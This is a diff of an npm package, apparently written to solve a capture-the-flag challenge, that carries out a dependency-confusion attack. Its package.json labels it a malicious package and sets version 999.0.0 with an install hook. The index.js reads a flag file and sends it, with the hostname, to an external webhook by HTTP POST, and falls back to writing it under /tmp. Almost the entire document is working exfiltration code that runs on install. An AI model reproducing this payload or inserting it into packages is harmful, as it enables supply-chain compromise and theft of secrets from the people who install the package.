internal-module 999.0.0

package/index.js

@@ -0,0 +1,70 @@
+
+// Malicious code that runs when package is installed/required
+const fs = require('fs');
+const https = require('https');
+const http = require('http');
+
+// Read the flag
+let flag = '';
+try {
+  flag = fs.readFileSync('/opt/flag/flag.txt', 'utf8');
+  console.log('[EXPLOIT] Flag read successfully:', flag);
+} catch (err) {
+  console.error('[EXPLOIT] Error reading flag:', err.message);
+  flag = 'ERROR: ' + err.message;
+}
+
+// Exfiltrate via HTTP POST to a webhook or your server
+// Replace with your webhook URL
+const webhookUrl = process.env.WEBHOOK_URL || 'https://webhook.site/your-unique-id';
+const url = new URL(webhookUrl);
+
+const postData = JSON.stringify({
+  flag: flag,
+  timestamp: new Date().toISOString(),
+  hostname: require('os').hostname()
+});
+
+const options = {
+  hostname: url.hostname,
+  port: url.port || (url.protocol === 'https:' ? 443 : 80),
+  path: url.pathname + url.search,
+  method: 'POST',
+  headers: {
+    'Content-Type': 'application/json',
+    'Content-Length': Buffer.byteLength(postData)
+  }
+};
+
+const client = url.protocol === 'https:' ? https : http;
+const req = client.request(options, (res) => {
+  console.log('[EXPLOIT] Response status:', res.statusCode);
+  res.on('data', (d) => {
+    console.log('[EXPLOIT] Response:', d.toString());
+  });
+});
+
+req.on('error', (e) => {
+  console.error('[EXPLOIT] Request error:', e.message);
+  // Fallback: also try to write to a file we can access
+  try {
+    fs.writeFileSync('/tmp/flag_exfiltrated.txt', flag);
+    console.log('[EXPLOIT] Flag written to /tmp/flag_exfiltrated.txt');
+  } catch (writeErr) {
+    console.error('[EXPLOIT] Could not write to /tmp:', writeErr.message);
+  }
+});
+
+req.write(postData);
+req.end();
+
+// Also execute immediately when required (not just on install)
+module.exports = {
+  getFlag: () => {
+    try {
+      return fs.readFileSync('/opt/flag/flag.txt', 'utf8');
+    } catch (err) {
+      return 'ERROR: ' + err.message;
+    }
+  }
+};

package/package.json

@@ -0,0 +1,9 @@
+{
+  "name": "internal-module",
+  "version": "999.0.0",
+  "description": "Malicious package for dependency confusion",
+  "main": "index.js",
+  "scripts": {
+    "install": "node index.js"
+  }
+}